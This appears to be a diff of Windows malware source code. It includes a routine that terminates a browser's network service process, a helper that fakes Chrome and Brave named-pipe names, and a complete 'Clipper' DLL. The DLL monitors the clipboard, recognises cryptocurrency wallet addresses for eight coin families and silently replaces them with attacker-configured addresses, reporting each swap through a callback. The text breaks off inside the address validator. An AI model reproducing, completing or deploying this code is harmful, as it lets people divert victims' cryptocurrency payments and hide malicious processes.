if (!CreateProcessW(exe_path, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
return false;
}
target->process = pi.hProcess;
target->thread = pi.hThread;
target->pid = pi.dwProcessId;
if (!check_architecture(target)) {
target_cleanup(target);
return false;
}
return true;
}
void target_terminate(TargetProcess* target) {
if (!target || !target->process) return;
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (ntdll) {
NtTerminateProcess_t pNtTerminateProcess =
(NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
if (pNtTerminateProcess) {
pNtTerminateProcess(target->process, 0);
}
}
else {
TerminateProcess(target->process, 0);
}
WaitForSingleObject(target->process, 2000);
}
void target_cleanup(TargetProcess* target) {
if (!target) return;
if (target->thread) {
CloseHandle(target->thread);
target->thread = NULL;
}
if (target->process) {
CloseHandle(target->process);
target->process = NULL;
}
}
bool target_kill_network_service(const wchar_t* process_name) {
if (!process_name) return false;
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return false;
NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t)GetProcAddress(ntdll, "NtGetNextProcess");
NtQueryInformationProcess_t pNtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(ntdll, "NtQueryInformationProcess");
NtReadVirtualMemory_t pNtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(ntdll, "NtReadVirtualMemory");
NtTerminateProcess_t pNtTerminateProcess = (NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
if (!pNtGetNextProcess || !pNtQueryInformationProcess ||
!pNtReadVirtualMemory || !pNtTerminateProcess) {
return false;
}
HANDLE current_process = NULL;
bool found = false;
while (true) {
HANDLE next_process = NULL;
NTSTATUS status = pNtGetNextProcess(current_process, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &next_process);
if (current_process) {
CloseHandle(current_process);
current_process = NULL;
}
if (!NT_SUCCESS(status)) break;
current_process = next_process;
BYTE buffer[sizeof(UNICODE_STRING) + MAX_PATH * 2];
PUNICODE_STRING image_name = (PUNICODE_STRING)buffer;
status = pNtQueryInformationProcess(current_process, ProcessImageFileName, image_name, sizeof(buffer), NULL);
if (!NT_SUCCESS(status) || image_name->Length == 0) continue;
wchar_t* filename = image_name->Buffer;
for (wchar_t* p = image_name->Buffer + (image_name->Length / sizeof(wchar_t)) - 1; p > image_name->Buffer; p--) {
if (*p == L'\\' || *p == L'/') {
filename = p + 1;
break;
}
}
if (_wcsicmp(filename, process_name) != 0) continue;
PROCESS_BASIC_INFORMATION pbi = { 0 };
status = pNtQueryInformationProcess(current_process, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status) || !pbi.PebBaseAddress) continue;
PEB peb = { 0 };
SIZE_T bytes_read = 0;
status = pNtReadVirtualMemory(current_process, pbi.PebBaseAddress, &peb, sizeof(peb), &bytes_read);
if (!NT_SUCCESS(status)) continue;
RTL_USER_PROCESS_PARAMETERS params = { 0 };
status = pNtReadVirtualMemory(current_process, peb.ProcessParameters, &params, sizeof(params), &bytes_read);
if (!NT_SUCCESS(status)) continue;
if (params.CommandLine.Length > 0) {
wchar_t* cmd_line = malloc(params.CommandLine.Length + sizeof(wchar_t));
if (cmd_line) {
memset(cmd_line, 0, params.CommandLine.Length + sizeof(wchar_t));
status = pNtReadVirtualMemory(
current_process,
params.CommandLine.Buffer,
cmd_line,
params.CommandLine.Length,
&bytes_read
);
if (NT_SUCCESS(status)) {
if (wcsstr(cmd_line, L"--utility-sub-type=network.mojom.NetworkService")) {
pNtTerminateProcess(current_process, 0);
found = true;
}
}
free(cmd_line);
}
}
}
if (current_process) {
CloseHandle(current_process);
}
return true;
}
+93
View File
@@ -0,0 +1,93 @@
#include "utils.h"
#include <stdio.h>
#include <ctype.h>
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len) {
if (!browser_type || !pipe_name) return false;
DWORD pid = GetCurrentProcessId();
DWORD tid = GetCurrentThreadId();
DWORD tick = GetTickCount();
DWORD id1 = (pid ^ tick) & 0xFFFF;
DWORD id2 = (tid ^ (tick >> 16)) & 0xFFFF;
DWORD id3 = ((pid << 8) ^ tid) & 0xFFFF;
wchar_t browser_lower[64];
wcsncpy_s(browser_lower, 64, browser_type, _TRUNCATE);
for (wchar_t* p = browser_lower; *p; p++) {
*p = towlower(*p);
}
if (wcscmp(browser_lower, L"chrome") == 0) {
const wchar_t* patterns[] = {
L"\\\\.\\pipe\\chrome.sync.%u.%u.%04X",
L"\\\\.\\pipe\\chrome.nacl.%u_%04X",
L"\\\\.\\pipe\\mojo.%u.%u.%04X.chrome"
};
int idx = (id1 + id2) % 3;
if (idx == 1) {
swprintf_s(pipe_name, len, patterns[idx], id1, id3);
}
else {
swprintf_s(pipe_name, len, patterns[idx], id1, id2, id3);
}
}
else if (wcscmp(browser_lower, L"brave") == 0) {
const wchar_t* patterns[] = {
L"\\\\.\\pipe\\brave.sync.%u.%u",
L"\\\\.\\pipe\\mojo.%u.%u.brave",
L"\\\\.\\pipe\\brave.crashpad_%u"
};
int idx = id3 % 3;
if (idx == 2) {
swprintf_s(pipe_name, len, patterns[idx], id1);
}
else {
swprintf_s(pipe_name, len, patterns[idx], id1, id2);
}
}
else {
swprintf_s(pipe_name, len, L"\\\\.\\pipe\\chromium.ipc.%u.%u", id1, id2);
}
return true;
}
bool create_directory_recursive(const wchar_t* path) {
if (!path) return false;
wchar_t temp[MAX_PATH_LEN];
wcsncpy_s(temp, MAX_PATH_LEN, path, _TRUNCATE);
for (wchar_t* p = temp; *p; p++) {
if (*p == L'/' || *p == L'\\') {
wchar_t saved = *p;
*p = L'\0';
DWORD attrs = GetFileAttributesW(temp);
if (attrs == INVALID_FILE_ATTRIBUTES) {
if (!CreateDirectoryW(temp, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
return false;
}
}
*p = saved;
}
}
DWORD attrs = GetFileAttributesW(temp);
if (attrs == INVALID_FILE_ATTRIBUTES) {
return CreateDirectoryW(temp, NULL) || GetLastError() == ERROR_ALREADY_EXISTS;
}
return true;
}
bool file_exists(const wchar_t* path) {
if (!path) return false;
DWORD attrs = GetFileAttributesW(path);
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
}
+265908
View File
File diff suppressed because it is too large Load Diff
+13968
View File
File diff suppressed because it is too large Load Diff
+58
View File
@@ -0,0 +1,58 @@
cmake_minimum_required(VERSION 3.31)
project(Clipper LANGUAGES CXX)
set(CMAKE_CXX_STANDARD 23)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CLIPPER_BUILD_TEST "HEADER_ONLY"
CACHE STRING "Test build mode: STATIC, HEADER_ONLY, NO"
)
set_property(CACHE CLIPPER_BUILD_TEST PROPERTY STRINGS STATIC HEADER_ONLY NO)
add_library(ClipperCommon OBJECT
src/Clipper.h
src/WindowClassManager.hpp
src/ClipboardOperations.hpp
src/Clipboard.hpp
src/AddressManager.hpp
src/CallbackManager.hpp
src/CryptocurrencyValidator.hpp
src/CallbackManager.hpp
src/ClipperImpl.hpp
src/Clipper.cpp
src/WindowClassManager.cpp
src/ClipboardOperations.cpp
src/Clipboard.cpp
src/AddressManager.cpp
src/CallbackManager.cpp
src/CryptocurrencyValidator.cpp
src/ClipperImpl.cpp
)
add_library(Clipper SHARED
$<TARGET_OBJECTS:ClipperCommon>
src/DllMain.cpp
)
target_compile_definitions(ClipperCommon PRIVATE DLL_BUILD)
if (CLIPPER_BUILD_TEST STREQUAL "STATIC")
add_executable(ClipperTest
$<TARGET_OBJECTS:ClipperCommon>
src/ClipperTest.cpp
)
target_compile_definitions(ClipperTest PRIVATE TEST_STATIC_BUILD)
elseif (CLIPPER_BUILD_TEST STREQUAL "HEADER_ONLY")
add_executable(ClipperTest
src/Clipper.h
src/ClipperTest.cpp
)
elseif (CLIPPER_BUILD_TEST STREQUAL "NO")
else()
message(FATAL_ERROR
"Invalid value for CLIPPER_BUILD_TEST: ${CLIPPER_BUILD_TEST}\n"
"Valid values: STATIC, HEADER_ONLY, NO"
)
endif()
+161
View File
@@ -0,0 +1,161 @@
#include "AddressManager.hpp"
#include "CryptocurrencyValidator.hpp"
AddressManager::AddressManager()
{
InitializeSRWLock(&mLock);
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
mIsSet[i] = false;
}
bool AddressManager::SetAddress(Cryptocurrency type, const std::wstring& address)
{
if (!IsValidType(type))
return false;
size_t index = GetTypeIndex(type);
LockForWrite();
mAddresses[index] = address;
mIsSet[index] = true;
UnlockFromWrite();
return true;
}
std::wstring AddressManager::GetAddress(Cryptocurrency type) const
{
if (!IsValidType(type))
return {};
size_t index = GetTypeIndex(type);
LockForRead();
std::wstring result = mAddresses[index];
UnlockFromRead();
return result;
}
bool AddressManager::HasAddress(Cryptocurrency type) const
{
if (!IsValidType(type))
return false;
size_t index = GetTypeIndex(type);
LockForRead();
bool result = mIsSet[index];
UnlockFromRead();
return result;
}
bool AddressManager::IsAddressSet(Cryptocurrency type) const
{
return HasAddress(type);
}
bool AddressManager::RemoveAddress(Cryptocurrency type)
{
if (!IsValidType(type))
return false;
size_t index = GetTypeIndex(type);
LockForWrite();
mAddresses[index].clear();
mIsSet[index] = false;
UnlockFromWrite();
return true;
}
void AddressManager::ClearAllAddresses()
{
LockForWrite();
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
{
mAddresses[i].clear();
mIsSet[i] = false;
}
UnlockFromWrite();
}
size_t AddressManager::GetConfiguredCount() const
{
size_t count = 0;
LockForRead();
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
{
if (mIsSet[i])
count++;
}
UnlockFromRead();
return count;
}
std::vector<Cryptocurrency> AddressManager::GetConfiguredTypes() const
{
std::vector<Cryptocurrency> types;
LockForRead();
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
{
if (mIsSet[i])
types.push_back(static_cast<Cryptocurrency>(i));
}
UnlockFromRead();
return types;
}
bool AddressManager::ValidateAndSet(Cryptocurrency type, const std::wstring& address)
{
if (!IsValidType(type))
return false;
if (!CryptocurrencyValidator::Validate(type, address))
return false;
return SetAddress(type, address);
}
bool AddressManager::IsValidType(Cryptocurrency type) const
{
return static_cast<size_t>(type) < Cryptocurrency::ElementsCount;
}
size_t AddressManager::GetTypeIndex(Cryptocurrency type) const
{
return static_cast<size_t>(type);
}
void AddressManager::LockForRead() const
{
AcquireSRWLockShared(&mLock);
}
void AddressManager::UnlockFromRead() const
{
ReleaseSRWLockShared(&mLock);
}
void AddressManager::LockForWrite()
{
AcquireSRWLockExclusive(&mLock);
}
void AddressManager::UnlockFromWrite()
{
ReleaseSRWLockExclusive(&mLock);
}
+41
View File
@@ -0,0 +1,41 @@
#pragma once
#include "Clipper.h"
#include <Windows.h>
#include <string>
#include <array>
#include <vector>
class AddressManager
{
public:
AddressManager();
~AddressManager() noexcept = default;
bool SetAddress(Cryptocurrency type, const std::wstring& address);
std::wstring GetAddress(Cryptocurrency type) const;
bool HasAddress(Cryptocurrency type) const;
bool IsAddressSet(Cryptocurrency type) const;
bool RemoveAddress(Cryptocurrency type);
void ClearAllAddresses();
size_t GetConfiguredCount() const;
std::vector<Cryptocurrency> GetConfiguredTypes() const;
bool ValidateAndSet(Cryptocurrency type, const std::wstring& address);
private:
bool IsValidType(Cryptocurrency type) const;
size_t GetTypeIndex(Cryptocurrency type) const;
void LockForRead() const;
void UnlockFromRead() const;
void LockForWrite();
void UnlockFromWrite();
std::array<std::wstring, Cryptocurrency::ElementsCount> mAddresses;
std::array<bool, Cryptocurrency::ElementsCount> mIsSet;
mutable SRWLOCK mLock;
};
+147
View File
@@ -0,0 +1,147 @@
#include "CallbackManager.hpp"
CallbackManager::CallbackManager() : mCallback(nullptr), mInvocationCount(0)
{
InitializeSRWLock(&mLock);
}
bool CallbackManager::SetCallback(ClipperActivationCallback callback)
{
if (!ValidateCallback(callback))
return false;
LockForWrite();
mCallback = callback;
UnlockFromWrite();
return true;
}
ClipperActivationCallback CallbackManager::GetCallback() const
{
LockForRead();
ClipperActivationCallback callback = mCallback;
UnlockFromRead();
return callback;
}
bool CallbackManager::HasCallback() const
{
LockForRead();
bool result = IsCallbackValid();
UnlockFromRead();
return result;
}
void CallbackManager::ClearCallback()
{
LockForWrite();
mCallback = nullptr;
UnlockFromWrite();
}
void CallbackManager::InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
{
LockForRead();
ClipperActivationCallback callback = mCallback;
UnlockFromRead();
if (callback)
{
callback(currency, replaced, replacement);
IncrementInvocationCount();
}
}
void CallbackManager::InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
{
CallbackInvocationData data = CreateInvocationData(currency, replaced, replacement);
if (!ValidateInvocationData(data))
return;
InvokeCallback(currency, replaced, replacement);
}
bool CallbackManager::ValidateCallback(ClipperActivationCallback callback) const
{
return callback != nullptr;
}
size_t CallbackManager::GetInvocationCount() const
{
LockForRead();
size_t count = mInvocationCount;
UnlockFromRead();
return count;
}
void CallbackManager::ResetInvocationCount()
{
LockForWrite();
mInvocationCount = 0;
UnlockFromWrite();
}
void CallbackManager::LockForRead() const
{
AcquireSRWLockShared(&mLock);
}
void CallbackManager::UnlockFromRead() const
{
ReleaseSRWLockShared(&mLock);
}
void CallbackManager::LockForWrite()
{
AcquireSRWLockExclusive(&mLock);
}
void CallbackManager::UnlockFromWrite()
{
ReleaseSRWLockExclusive(&mLock);
}
bool CallbackManager::IsCallbackValid() const
{
return mCallback != nullptr;
}
void CallbackManager::IncrementInvocationCount()
{
LockForWrite();
mInvocationCount++;
UnlockFromWrite();
}
CallbackInvocationData CallbackManager::CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const
{
CallbackInvocationData data;
data.Currency = currency;
if (replaced)
data.ReplacedAddress = replaced;
if (replacement)
data.ReplacementAddress = replacement;
return data;
}
bool CallbackManager::ValidateInvocationData(const CallbackInvocationData& data) const
{
if (static_cast<size_t>(data.Currency) >= Cryptocurrency::ElementsCount)
return false;
if (data.ReplacedAddress.empty())
return false;
if (data.ReplacementAddress.empty())
return false;
return true;
}
+47
View File
@@ -0,0 +1,47 @@
#pragma once
#include "Clipper.h"
#include <Windows.h>
#include <string>
struct CallbackInvocationData
{
Cryptocurrency Currency;
std::wstring ReplacedAddress;
std::wstring ReplacementAddress;
};
class CallbackManager
{
public:
CallbackManager();
~CallbackManager() noexcept = default;
bool SetCallback(ClipperActivationCallback callback);
ClipperActivationCallback GetCallback() const;
bool HasCallback() const;
void ClearCallback();
void InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
void InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
bool ValidateCallback(ClipperActivationCallback callback) const;
size_t GetInvocationCount() const;
void ResetInvocationCount();
private:
void LockForRead() const;
void UnlockFromRead() const;
void LockForWrite();
void UnlockFromWrite();
bool IsCallbackValid() const;
void IncrementInvocationCount();
CallbackInvocationData CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const;
bool ValidateInvocationData(const CallbackInvocationData& data) const;
ClipperActivationCallback mCallback;
size_t mInvocationCount;
mutable SRWLOCK mLock;
};
+160
View File
@@ -0,0 +1,160 @@
#include "Clipboard.hpp"
#include "ClipboardOperations.hpp"
std::unique_ptr<Clipboard> Clipboard::sInstance = nullptr;
void Clipboard::Initialize(const wchar_t* windowClassName)
{
if (!sInstance)
sInstance.reset(new Clipboard(windowClassName));
}
void Clipboard::SetCallback(OnClipboardContentChangedCallback callback)
{
if (!sInstance)
return;
AcquireSRWLockExclusive(&sInstance->mCallbackLock);
sInstance->mCallback = std::move(callback);
ReleaseSRWLockExclusive(&sInstance->mCallbackLock);
}
void Clipboard::SetClipboardText(const std::wstring& newText)
{
if (!sInstance)
return;
sInstance->SetClipboardTextImpl(newText);
}
std::wstring Clipboard::GetClipboardText()
{
if (!sInstance)
return {};
return sInstance->GetClipboardTextImpl();
}
Clipboard::Clipboard(const wchar_t* windowClassName) : mWindowsClassName(windowClassName)
{
InitializeSRWLock(&mCallbackLock);
mhReadyEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
mWindowClassManager = std::make_unique<WindowClassManager>(windowClassName);
mhThread = CreateThread(nullptr, 0, ThreadProcStatic, this, 0, nullptr);
WaitForSingleObject(mhReadyEvent, INFINITE);
CloseHandle(mhReadyEvent);
mhReadyEvent = nullptr;
}
Clipboard::~Clipboard()
{
if (mhWindow)
PostMessageW(mhWindow, WM_QUIT, 0, 0);
if (mhThread)
{
WaitForSingleObject(mhThread, INFINITE);
CloseHandle(mhThread);
}
}
DWORD WINAPI Clipboard::ThreadProcStatic(LPVOID lpParam)
{
auto* clipboard = static_cast<Clipboard*>(lpParam);
clipboard->ThreadMain();
return 0;
}
void Clipboard::ThreadMain()
{
if (!mWindowClassManager->Register(WndProc))
{
SetEvent(mhReadyEvent);
return;
}
mhWindow = CreateWindowExW(0, mWindowsClassName.c_str(), nullptr, 0, 0, 0, 0, 0, HWND_MESSAGE, nullptr, GetModuleHandleW(nullptr), nullptr);
if (!mhWindow)
{
mWindowClassManager->Unregister();
SetEvent(mhReadyEvent);
return;
}
SetWindowLongPtrW(mhWindow, GWLP_USERDATA, reinterpret_cast<LONG_PTR>(this));
if (!AddClipboardFormatListener(mhWindow))
{
DestroyWindow(mhWindow);
mWindowClassManager->Unregister();
SetEvent(mhReadyEvent);
return;
}
SetEvent(mhReadyEvent);
MSG msg;
while (GetMessageW(&msg, nullptr, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
RemoveClipboardFormatListener(mhWindow);
DestroyWindow(mhWindow);
mWindowClassManager->Unregister();
}
LRESULT CALLBACK Clipboard::WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg != WM_CLIPBOARDUPDATE)
return DefWindowProcW(hwnd, msg, wParam, lParam);
auto* self = reinterpret_cast<Clipboard*>(GetWindowLongPtrW(hwnd, GWLP_USERDATA));
if (self && self->mCallback)
{
std::wstring text = self->GetClipboardTextImpl();
if (!text.empty())
{
AcquireSRWLockShared(&self->mCallbackLock);
auto callback = self->mCallback;
ReleaseSRWLockShared(&self->mCallbackLock);
callback(text);
}
}
return 0;
}
void Clipboard::SetClipboardTextImpl(const std::wstring& newText)
{
if (!mhWindow || !OpenClipboard(mhWindow))
return;
EmptyClipboard();
HGLOBAL hMem = ClipboardOperations::CreateTextData(newText);
if (hMem)
SetClipboardData(CF_UNICODETEXT, hMem);
CloseClipboard();
}
std::wstring Clipboard::GetClipboardTextImpl()
{
if (!mhWindow || !OpenClipboard(mhWindow))
return {};
std::wstring text;
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
if (hData)
text = ClipboardOperations::ExtractTextData(hData);
CloseClipboard();
return text;
}
+43
View File
@@ -0,0 +1,43 @@
#pragma once
#include "WindowClassManager.hpp"
#include <Windows.h>
#include <functional>
#include <memory>
#include <string>
using OnClipboardContentChangedCallback = std::function<void(const std::wstring& content)>;
class Clipboard
{
friend std::default_delete<Clipboard>;
public:
static void Initialize(const wchar_t* windowClassName);
static void SetCallback(OnClipboardContentChangedCallback callback);
static void SetClipboardText(const std::wstring& newText);
static std::wstring GetClipboardText();
private:
Clipboard(const wchar_t* windowClassName);
~Clipboard();
static DWORD WINAPI ThreadProcStatic(LPVOID lpParam);
void ThreadMain();
static LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
void SetClipboardTextImpl(const std::wstring& newText);
std::wstring GetClipboardTextImpl();
std::unique_ptr<WindowClassManager> mWindowClassManager;
HWND mhWindow = nullptr;
HANDLE mhThread = nullptr;
HANDLE mhReadyEvent = nullptr;
const std::wstring mWindowsClassName;
OnClipboardContentChangedCallback mCallback = nullptr;
SRWLOCK mCallbackLock;
static std::unique_ptr<Clipboard> sInstance;
};
+108
View File
@@ -0,0 +1,108 @@
#include "ClipboardOperations.hpp"
HGLOBAL ClipboardOperations::AllocateMemory(size_t size)
{
return GlobalAlloc(GMEM_MOVEABLE, size);
}
void ClipboardOperations::FreeMemory(HGLOBAL hMem)
{
if (hMem)
GlobalFree(hMem);
}
void* ClipboardOperations::LockMemory(HGLOBAL hMem)
{
if (!hMem)
return nullptr;
return GlobalLock(hMem);
}
bool ClipboardOperations::UnlockMemory(HGLOBAL hMem)
{
if (!hMem)
return false;
return GlobalUnlock(hMem) || GetLastError() == NO_ERROR;
}
size_t ClipboardOperations::GetMemorySize(HGLOBAL hMem)
{
if (!hMem)
return 0;
return GlobalSize(hMem);
}
bool ClipboardOperations::IsMemoryValid(HGLOBAL hMem)
{
return hMem != nullptr && GetMemorySize(hMem) > 0;
}
bool ClipboardOperations::CopyToMemory(HGLOBAL hMem, const void* data, size_t size)
{
if (!hMem || !data || size == 0)
return false;
void* pLocked = LockMemory(hMem);
if (!pLocked)
return false;
memcpy(pLocked, data, size);
UnlockMemory(hMem);
return true;
}
bool ClipboardOperations::CopyFromMemory(void* dest, HGLOBAL hMem, size_t size)
{
if (!dest || !hMem || size == 0)
return false;
void* pLocked = LockMemory(hMem);
if (!pLocked)
return false;
memcpy(dest, pLocked, size);
UnlockMemory(hMem);
return true;
}
HGLOBAL ClipboardOperations::CreateTextData(const std::wstring& text)
{
size_t size = CalculateTextSize(text);
HGLOBAL hMem = AllocateMemory(size);
if (!hMem)
return nullptr;
if (!CopyToMemory(hMem, text.c_str(), size))
{
FreeMemory(hMem);
return nullptr;
}
return hMem;
}
std::wstring ClipboardOperations::ExtractTextData(HGLOBAL hData)
{
if (!hData)
return {};
wchar_t* pText = static_cast<wchar_t*>(LockMemory(hData));
if (!pText)
return {};
std::wstring result = pText;
UnlockMemory(hData);
return result;
}
size_t ClipboardOperations::CalculateTextSize(const std::wstring& text)
{
return (text.size() + 1) * sizeof(wchar_t);
}
+25
View File
@@ -0,0 +1,25 @@
#pragma once
#include <Windows.h>
#include <string>
class ClipboardOperations
{
public:
static HGLOBAL AllocateMemory(size_t size);
static void FreeMemory(HGLOBAL hMem);
static void* LockMemory(HGLOBAL hMem);
static bool UnlockMemory(HGLOBAL hMem);
static size_t GetMemorySize(HGLOBAL hMem);
static bool IsMemoryValid(HGLOBAL hMem);
static bool CopyToMemory(HGLOBAL hMem, const void* data, size_t size);
static bool CopyFromMemory(void* dest, HGLOBAL hMem, size_t size);
static HGLOBAL CreateTextData(const std::wstring& text);
static std::wstring ExtractTextData(HGLOBAL hData);
private:
static size_t CalculateTextSize(const std::wstring& text);
};
+12
View File
@@ -0,0 +1,12 @@
#include "Clipper.h"
#include "ClipperImpl.hpp"
int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address)
{
return Clipper::SetWalletAddress(currency, address);
}
int clipper_set_on_activation_callback(ClipperActivationCallback callback)
{
return Clipper::SetCallback(callback);
}
+26
View File
@@ -0,0 +1,26 @@
#pragma once
#ifdef DLL_BUILD
#define DLL_API __declspec(dllexport)
#else
#define DLL_API
#endif
enum Cryptocurrency
{
Bitcoin, // BTC
EVM, // ETH, USDT, USDC, BNB
Monero, // XMR
Litecoin, // LTC
Tron, // USDT, TRX
Solana, // SOL
Ripple, // XRP
Dogecoin, // DOGE
ElementsCount
};
typedef void(*ClipperActivationCallback)(Cryptocurrency currency, const wchar_t* replacedAddress, const wchar_t* replacementAddress);
extern "C" DLL_API int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address); // bool
extern "C" DLL_API int clipper_set_on_activation_callback(ClipperActivationCallback callback); // bool
+81
View File
@@ -0,0 +1,81 @@
#include "ClipperImpl.hpp"
#include "Clipboard.hpp"
#include "CryptocurrencyValidator.hpp"
#include <optional>
Clipper::Clipper()
{
wchar_t s[] = { static_cast<wchar_t>(__TIME__[6]), L'X', static_cast<wchar_t>(__TIME__[7]), L'\0' };
Clipboard::Initialize(s);
}
Clipper& Clipper::GetInstance()
{
static Clipper instance;
return instance;
}
std::optional<Cryptocurrency> Clipper::IsCryptocurrencyAddress(const std::wstring& text)
{
if (CryptocurrencyValidator::Validate(Cryptocurrency::EVM, text))
return Cryptocurrency::EVM;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Bitcoin, text))
return Cryptocurrency::Bitcoin;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Litecoin, text))
return Cryptocurrency::Litecoin;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Tron, text))
return Cryptocurrency::Tron;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Ripple, text))
return Cryptocurrency::Ripple;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Dogecoin, text))
return Cryptocurrency::Dogecoin;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Monero, text))
return Cryptocurrency::Monero;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Solana, text))
return Cryptocurrency::Solana;
return std::nullopt;
}
bool Clipper::SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept
{
if (static_cast<size_t>(cryptocurrency) >= Cryptocurrency::ElementsCount || !address)
return false;
std::wstring walletAdress = address;
return GetInstance().mAddressManager.ValidateAndSet(cryptocurrency, walletAdress);
}
bool Clipper::SetCallback(ClipperActivationCallback callback) noexcept
{
if (!callback)
return false;
if (!GetInstance().mCallbackManager.SetCallback(callback))
return false;
OnClipboardContentChangedCallback callbackWithValidation = [&](const std::wstring& content) -> void {
auto cryptocurrency = IsCryptocurrencyAddress(content);
if (!cryptocurrency)
return;
std::wstring address = GetInstance().mAddressManager.GetAddress(cryptocurrency.value());
// prevent recursion
if (address == content)
return;
Clipboard::SetClipboardText(address);
GetInstance().mCallbackManager.InvokeCallback(cryptocurrency.value(), content.c_str(), address.c_str());
};
Clipboard::SetCallback(callbackWithValidation);
return true;
}
+23
View File
@@ -0,0 +1,23 @@
#pragma once
#include "Clipper.h"
#include "AddressManager.hpp"
#include "CallbackManager.hpp"
#include <array>
#include <optional>
#include <string>
class Clipper
{
public:
static bool SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept;
static bool SetCallback(ClipperActivationCallback callback) noexcept;
private:
Clipper();
static Clipper& GetInstance();
static std::optional<Cryptocurrency> IsCryptocurrencyAddress(const std::wstring& text);
AddressManager mAddressManager;
CallbackManager mCallbackManager;
};
+3
View File
@@ -0,0 +1,3 @@
int main(int argc, char** argv)
{
}
+339
View File
@@ -0,0 +1,339 @@
#include "CryptocurrencyValidator.hpp"
static const std::wstring kBase58Characters = L"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
static const std::wstring kHexCharacters = L"0123456789abcdefABCDEF";
static const std::wstring kBech32Characters = L"0123456789abcdefghijklmnopqrstuvwxyz";
bool CryptocurrencyValidator::Validate(Cryptocurrency type, const std::wstring& address)
{
if (address.empty())
return false;
switch (type)
{
case Cryptocurrency::Bitcoin:
return ValidateBitcoin(address);
case Cryptocurrency::EVM:
return ValidateEVM(address);
case Cryptocurrency::Monero:
return ValidateMonero(address);
case Cryptocurrency::Litecoin:
return ValidateLitecoin(address);
case Cryptocurrency::Tron:
return ValidateTron(address);
case Cryptocurrency::Solana:
return ValidateSolana(address);
case Cryptocurrency::Ripple:
return ValidateRipple(address);
case Cryptocurrency::Dogecoin:
return ValidateDogecoin(address);
default:
return false;
}
}
bool CryptocurrencyValidator::ValidateBitcoin(const std::wstring& address)
{
if (ValidateBitcoinLegacy(address))
return true;
if (ValidateBitcoinSegWit(address))
return true;
if (ValidateBitcoinNative(address))
return true;
return false;
}
bool CryptocurrencyValidator::ValidateBitcoinLegacy(const std::wstring& address)
{
if (!CheckBitcoinLegacyPrefix(address))
return false;
if (!CheckAddressLength(address, 26, 35))
return false;
if (!CheckBase58Format(address))
return false;
return true;
}
bool CryptocurrencyValidator::ValidateBitcoinSegWit(const std::wstring& address)
{
if (!CheckBitcoinSegWitPrefix(address))
return false;
if (!CheckAddressLength(address, 26, 35))
return false;
if (!CheckBase58Format(address))
return false;
return true;
}
bool CryptocurrencyValidator::ValidateBitcoinNative(const std::wstring& address)
{
if (address.length() < 42 || address.length() > 62)
return false;
if (address.substr(0, 3) != L"bc1")
return false;
static const std::wregex pattern(L"^bc1[a-zA-HJ-NP-Z0-9]{39,59}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateEVM(const std::wstring& address)
{
if (address.length() != 42)
return false;
if (address.substr(0, 2) != L"0x" && address.substr(0, 2) != L"0X")
return false;
std::wstring hexPart = address.substr(2);
if (!CheckHexFormat(hexPart))
return false;
if (hexPart.length() != 40)
return false;
return true;
}
bool CryptocurrencyValidator::ValidateMonero(const std::wstring& address)
{
if (address.length() != 95 && address.length() != 106)
return false;
wchar_t firstChar = address[0];
if (firstChar != L'4' && firstChar != L'8')
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^[48][1-9A-HJ-NP-Za-km-z]{94}|^[48][1-9A-HJ-NP-Za-km-z]{105}$");
return std::regex_match(address, pattern);
}
bool CryptocurrencyValidator::ValidateLitecoin(const std::wstring& address)
{
if (ValidateLitecoinLegacy(address))
return true;
if (ValidateLitecoinSegWit(address))
return true;
return false;
}
bool CryptocurrencyValidator::ValidateLitecoinLegacy(const std::wstring& address)
{
if (!CheckLitecoinLegacyPrefix(address))
return false;
if (!CheckAddressLength(address, 27, 34))
return false;
if (!CheckBase58Format(address))
return false;
return true;
}
bool CryptocurrencyValidator::ValidateLitecoinSegWit(const std::wstring& address)
